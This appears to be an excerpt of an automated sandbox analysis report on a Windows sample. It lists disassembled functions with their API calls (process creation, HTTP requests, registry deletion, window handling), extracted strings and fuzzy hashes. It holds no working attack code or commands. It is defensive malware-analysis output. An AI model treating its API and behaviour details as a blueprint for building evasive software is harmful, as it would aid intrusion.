Opcode Fuzzy Hash: 2383821017066db1ca3f72fb3fa4fc26197115f8a357632fa55a232aa1d2cfad
Instruction Fuzzy Hash: A8718F31900609AFDB20DFA8CE85BAEBBF5FF48704F100558E586A36A0DB75EE44DB50

Function 00B6086B Relevance: 27.1, APIs: 18, Instructions: 128COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00B60884
LoadCursorW.USER32(00000000,00007F8A), ref: 00B6088F
LoadCursorW.USER32(00000000,00007F00), ref: 00B6089A
LoadCursorW.USER32(00000000,00007F03), ref: 00B608A5
LoadCursorW.USER32(00000000,00007F8B), ref: 00B608B0
LoadCursorW.USER32(00000000,00007F01), ref: 00B608BB
LoadCursorW.USER32(00000000,00007F81), ref: 00B608C6
LoadCursorW.USER32(00000000,00007F88), ref: 00B608D1
LoadCursorW.USER32(00000000,00007F80), ref: 00B608DC
LoadCursorW.USER32(00000000,00007F86), ref: 00B608E7
LoadCursorW.USER32(00000000,00007F83), ref: 00B608F2
LoadCursorW.USER32(00000000,00007F85), ref: 00B608FD
LoadCursorW.USER32(00000000,00007F82), ref: 00B60908
LoadCursorW.USER32(00000000,00007F84), ref: 00B60913
LoadCursorW.USER32(00000000,00007F04), ref: 00B6091E
LoadCursorW.USER32(00000000,00007F02), ref: 00B60929
GetCursorInfo.USER32(?), ref: 00B60939
GetLastError.KERNEL32 ref: 00B6097B

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 1f9edb23ac719dea84da344ead8bc75218fe8750c3714b0342c3c581819cbccb
Instruction ID: 98a8c1ace08181aa71a6f4e9e5539a3e2eb058685b4731e2d797aafbde34b0c8
Opcode Fuzzy Hash: 1f9edb23ac719dea84da344ead8bc75218fe8750c3714b0342c3c581819cbccb
Instruction Fuzzy Hash: 78415470D483196ADB10DFBA8C8585FBFE9FF04754B50456AE11CE7281DA78D901CF91

Function 00B00436 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 00B00436

Part of subcall function 00B0045D: InitializeCriticalSectionAndSpinCount.KERNEL32(00BB170C,00000FA0,606BE961,?,?,?,?,00B22733,000000FF), ref: 00B0048C
Part of subcall function 00B0045D: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,00B22733,000000FF), ref: 00B00497
Part of subcall function 00B0045D: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,00B22733,000000FF), ref: 00B004A8
Part of subcall function 00B0045D: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00B004BE
Part of subcall function 00B0045D: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00B004CC
Part of subcall function 00B0045D: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00B004DA
Part of subcall function 00B0045D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00B00505
Part of subcall function 00B0045D: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00B00510

___scrt_fastfail.LIBCMT ref: 00B00457

Part of subcall function 00B00413: __onexit.LIBCMT ref: 00B00419

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00B00492
kernel32.dll, xrefs: 00B004A3
WakeAllConditionVariable, xrefs: 00B004D2
InitializeConditionVariable, xrefs: 00B004B8
SleepConditionVariableCS, xrefs: 00B004C4

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 8dd4eeb90204b0cf1ce5323b578b5c3942ee2c3f49d1d48a7f7e7e3e326e223f
Instruction ID: 4feb3753ee37b279ff6d042fbf0925661ce47133b6adaa593692cfe71d854f63
Opcode Fuzzy Hash: 8dd4eeb90204b0cf1ce5323b578b5c3942ee2c3f49d1d48a7f7e7e3e326e223f
Instruction Fuzzy Hash: A2212932A647046BD7103BA8AC56BA93BF4EF45BE1F4002A5F905A36E0DFB09C408B95

Function 00B43A43 Relevance: 24.9, APIs: 8, Strings: 6, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B43AD9
_wcslen.LIBCMT ref: 00B43B44

Strings

INSTANCE, xrefs: 00B43D9F
CLASSNN, xrefs: 00B43B3F, 00B43B50
CLASS, xrefs: 00B43AD4, 00B43AF1
NAME, xrefs: 00B43C81, 00B43C92
REGEXPCLASS, xrefs: 00B43BA1, 00B43BB2
TEXT, xrefs: 00B43DC8

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 176396367-1603158881
Opcode ID: e21effe5376dcec2e288447984ad9d8acbffd09470ef3306277c2e7d8756156a
Instruction ID: 11001a124aee6d6d00c107156ac9cb88348dfd0ff539c5327be52425c24a4916
Opcode Fuzzy Hash: e21effe5376dcec2e288447984ad9d8acbffd09470ef3306277c2e7d8756156a
Instruction Fuzzy Hash: 44E1D432E04516ABCB149FB4C8817EEBBF0FF14B10F1841A9E556E7250DB309F99A7A0

Function 00B54F05 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,00B7DCD0), ref: 00B54F6C
_wcslen.LIBCMT ref: 00B54F80
_wcslen.LIBCMT ref: 00B54FDE
_wcslen.LIBCMT ref: 00B55039
_wcslen.LIBCMT ref: 00B55084
_wcslen.LIBCMT ref: 00B550EC

Part of subcall function 00AFFD52: _wcslen.LIBCMT ref: 00AFFD5D

GetDriveTypeW.KERNEL32(?,00BA7C10,00000061), ref: 00B55188

Strings

fixed, xrefs: 00B5507A, 00B5507F
cdrom, xrefs: 00B54FD4, 00B54FD9
network, xrefs: 00B550E2, 00B550E7
removable, xrefs: 00B5502F, 00B55034
all, xrefs: 00B54F76, 00B54F7B
unknown, xrefs: 00B5514D
ramdisk, xrefs: 00B55136

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 7efc17e4edd2285912b0f288d2e4331d35789f5db50c2dc54f156a796e5eada2
Instruction ID: 6a60c1915e831e8fbb78bfe1a2021352bff2787d9e05565cfe54c4dc7e4f71c7
Opcode Fuzzy Hash: 7efc17e4edd2285912b0f288d2e4331d35789f5db50c2dc54f156a796e5eada2
Instruction Fuzzy Hash: 9FB106316087029FC320DF28C9A0B6AB7E5EF94766F54499DF99587291DB30D848CB92

Function 00B6BA59 Relevance: 24.4, APIs: 16, Instructions: 418processCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B6BBF8
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00B6BC10
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00B6BC34
_wcslen.LIBCMT ref: 00B6BC60
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00B6BC74
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00B6BC96
_wcslen.LIBCMT ref: 00B6BD92

Part of subcall function 00B50F4E: GetStdHandle.KERNEL32(000000F6), ref: 00B50F6D

_wcslen.LIBCMT ref: 00B6BDAB
_wcslen.LIBCMT ref: 00B6BDC6
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00B6BE16
GetLastError.KERNEL32(00000000), ref: 00B6BE67
CloseHandle.KERNEL32(?), ref: 00B6BE99
CloseHandle.KERNEL32(00000000), ref: 00B6BEAA
CloseHandle.KERNEL32(00000000), ref: 00B6BEBC
CloseHandle.KERNEL32(00000000), ref: 00B6BECE
CloseHandle.KERNEL32(?), ref: 00B6BF43

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: 99bab6d856ba836fd2dd85bc7efbaf4fc80bdd38251c83239c4028aee42cb4f8
Instruction ID: cf92e60b1b679e246767222bdb1c1e6c66934d2477edaff69fce624f447a9b7f
Opcode Fuzzy Hash: 99bab6d856ba836fd2dd85bc7efbaf4fc80bdd38251c83239c4028aee42cb4f8
Instruction Fuzzy Hash: 4AF18B715043409FCB14EF24C991B6ABBF5EF84310F18899DF9899B2A2CB35ED85CB52

Function 00B64A46 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00B7DCD0), ref: 00B64B18
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00B64B2A
GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,00B7DCD0), ref: 00B64B4F
FreeLibrary.KERNEL32(00000000,?,00B7DCD0), ref: 00B64B9B
StringFromGUID2.OLE32(?,?,00000028,?,00B7DCD0), ref: 00B64C05
SysFreeString.OLEAUT32(00000009), ref: 00B64CBF
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00B64D25
SysFreeString.OLEAUT32(?), ref: 00B64D4F

Strings

kernel32.dll, xrefs: 00B64B13
GetModuleHandleExW, xrefs: 00B64B24

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 354098117-199464113
Opcode ID: c82539f41a363a0686085f4b4477857d56154223c62333436711ff1c4d4628c5
Instruction ID: 98583d1c94bac5d61c2bb4108af254705460e148d0eb0ae063988bf6d9fa31ae
Opcode Fuzzy Hash: c82539f41a363a0686085f4b4477857d56154223c62333436711ff1c4d4628c5
Instruction Fuzzy Hash: FA122971A00505EFDB14DF94C884EAEBBF5FF85314F248498E909AB261DB35ED46CBA0

Function 00AE381F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(00BB29C0), ref: 00B23F72
GetMenuItemCount.USER32(00BB29C0), ref: 00B24022
GetCursorPos.USER32(?), ref: 00B24066
SetForegroundWindow.USER32(00000000), ref: 00B2406F
TrackPopupMenuEx.USER32(00BB29C0,00000000,?,00000000,00000000,00000000), ref: 00B24082
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00B2408E

Strings

0, xrefs: 00AE382D

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: d5559930c7f2a6f91d9fa6916bdc7ca2cd2ef18700e00a710ea55d85c7b9dd44
Instruction ID: b1b9f072e393efa93d6f88d514db7a08d8d2201751ce907f2ca6e309b872f9ab
Opcode Fuzzy Hash: d5559930c7f2a6f91d9fa6916bdc7ca2cd2ef18700e00a710ea55d85c7b9dd44
Instruction Fuzzy Hash: E371E131604215BBEB219F29EC89FAABFF5FF04764F104246F618A61E0C7B5A950DB50

Function 00B77711 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00B77823

Part of subcall function 00AE8577: _wcslen.LIBCMT ref: 00AE858A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00B77897
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00B778B9
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B778CC
DestroyWindow.USER32(?), ref: 00B778ED
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00AE0000,00000000), ref: 00B7791C
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B77935
GetDesktopWindow.USER32 ref: 00B7794E
GetWindowRect.USER32(00000000), ref: 00B77955
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00B7796D
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00B77985

Part of subcall function 00AE2234: GetWindowLongW.USER32(?,000000EB), ref: 00AE2242

Strings

tooltips_class32, xrefs: 00B77890, 00B77915
0, xrefs: 00B777D0

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 56711ad8913afac0ccbd4c84e85024cf93101144816d7e86af153de4fbb42abc
Instruction ID: ad4594ed0d2bdf57e32c994e8a4ede67c68cb19d2b07c663a0eb51708a71de65
Opcode Fuzzy Hash: 56711ad8913afac0ccbd4c84e85024cf93101144816d7e86af153de4fbb42abc
Instruction Fuzzy Hash: 4C717870148344AFD725CF18CC48F6ABBF9EF89300F0485AEF99997261CB70A946CB12

Function 00B79B7A Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00AE24B0

DragQueryPoint.SHELL32(?,?), ref: 00B79BA3

Part of subcall function 00B780AE: ClientToScreen.USER32(?,?), ref: 00B780D4
Part of subcall function 00B780AE: GetWindowRect.USER32(?,?), ref: 00B7814A
Part of subcall function 00B780AE: PtInRect.USER32(?,?,?), ref: 00B7815A

SendMessageW.USER32(?,000000B0,?,?), ref: 00B79C0C
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00B79C17
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00B79C3A
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00B79C81
SendMessageW.USER32(?,000000B0,?,?), ref: 00B79C9A
SendMessageW.USER32(?,000000B1,?,?), ref: 00B79CB1
SendMessageW.USER32(?,000000B1,?,?), ref: 00B79CD3
DragFinish.SHELL32(?), ref: 00B79CDA
DefDlgProcW.USER32(?,00000233,?,00000000), ref: 00B79DCD

Strings

@GUI_DRAGFILE, xrefs: 00B79D7C
@GUI_DRAGID, xrefs: 00B79D45
@GUI_DROPID, xrefs: 00B79CFA

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 221274066-3440237614
Opcode ID: c8bbb9a70b97be9e3142072e5029b0650cfe7af4a43bc1bf1cbd85150e36c287
Instruction ID: 8e0667babf9bbebf2e874ec9171690df50fc52ce62e195ae3715bd2d728282c6
Opcode Fuzzy Hash: c8bbb9a70b97be9e3142072e5029b0650cfe7af4a43bc1bf1cbd85150e36c287
Instruction Fuzzy Hash: CC615871108341AFC705EF65CC89DABBBF8EF88750F40096DF5A9931A1DB709A49CB62

Function 00B5CEBB Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00B5CEF5
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00B5CF08
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00B5CF1C
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00B5CF35
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 00B5CF78
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00B5CF8E
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B5CF99
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00B5CFC9
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 00B5D021
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 00B5D035
InternetCloseHandle.WININET(00000000), ref: 00B5D040

Strings

, xrefs: 00B5CFBA

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 53249dcac38fef99811f9cf697ed8fd4cb883fab5ae84d65dd99b5a08f521d9e
Instruction ID: fb6829d8d0275491e6310fefbb52016726f88d895c575dec1b95e90415549c44
Opcode Fuzzy Hash: 53249dcac38fef99811f9cf697ed8fd4cb883fab5ae84d65dd99b5a08f521d9e
Instruction Fuzzy Hash: 1A513AB1500704BFDB219F60CC88BAA7BFDFF48786F04459AF94997250DB34D949AB60

Function 00B78FCB Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00B766D6,?,?), ref: 00B78FEE
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00B766D6,?,?,00000000,?), ref: 00B78FFE
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00B766D6,?,?,00000000,?), ref: 00B79009
CloseHandle.KERNEL32(00000000,?,?,?,?,00B766D6,?,?,00000000,?), ref: 00B79016
GlobalLock.KERNEL32(00000000), ref: 00B79024
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00B766D6,?,?,00000000,?), ref: 00B79033
GlobalUnlock.KERNEL32(00000000), ref: 00B7903C
CloseHandle.KERNEL32(00000000,?,?,?,?,00B766D6,?,?,00000000,?), ref: 00B79043
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00B766D6,?,?,00000000,?), ref: 00B79054
OleLoadPicture.OLEAUT32(?,00000000,00000000,00B80C04,?), ref: 00B7906D
GlobalFree.KERNEL32(00000000), ref: 00B7907D
GetObjectW.GDI32(00000000,00000018,?), ref: 00B7909D
CopyImage.USER32(00000000,00000000,00000000,?,00002000), ref: 00B790CD
DeleteObject.GDI32(00000000), ref: 00B790F5
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00B7910B

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 0b3d0f5d9c5ce22b5f7398b8f2f72cbea5958abd3ecc91bad112e666f79d21b7
Instruction ID: 7b913ed71690b2c932ed763073c913f8d349fced91e3776ecdb7c19f29b6de9b
Opcode Fuzzy Hash: 0b3d0f5d9c5ce22b5f7398b8f2f72cbea5958abd3ecc91bad112e666f79d21b7
Instruction Fuzzy Hash: C0413A75600208BFDB119F65DC88EAE7BB8FF89751F108059F91AE7260DB309D41DB20

Function 00B6C06E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

Part of subcall function 00B6D3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B6C10E,?,?), ref: 00B6D415
Part of subcall function 00B6D3F8: _wcslen.LIBCMT ref: 00B6D451
Part of subcall function 00B6D3F8: _wcslen.LIBCMT ref: 00B6D4C8
Part of subcall function 00B6D3F8: _wcslen.LIBCMT ref: 00B6D4FE

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B6C154
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00B6C1D2
RegDeleteValueW.ADVAPI32(?,?), ref: 00B6C26A
RegCloseKey.ADVAPI32(?), ref: 00B6C2DE
RegCloseKey.ADVAPI32(?), ref: 00B6C2FC
LoadLibraryA.KERNEL32(advapi32.dll), ref: 00B6C352
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00B6C364
RegDeleteKeyW.ADVAPI32(?,?), ref: 00B6C382
FreeLibrary.KERNEL32(00000000), ref: 00B6C3E3
RegCloseKey.ADVAPI32(00000000), ref: 00B6C3F4

Strings

RegDeleteKeyExW, xrefs: 00B6C35E
advapi32.dll, xrefs: 00B6C34D

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: af6f100f5904287c0da5b9e9e01b3cb84a30edf81e1611d9c23c31449eac5ea1
Instruction ID: 1b5f93c88f78cd2dccf3fd503ce362ad4058e0f45089c1126325897a5a29ef4d
Opcode Fuzzy Hash: af6f100f5904287c0da5b9e9e01b3cb84a30edf81e1611d9c23c31449eac5ea1
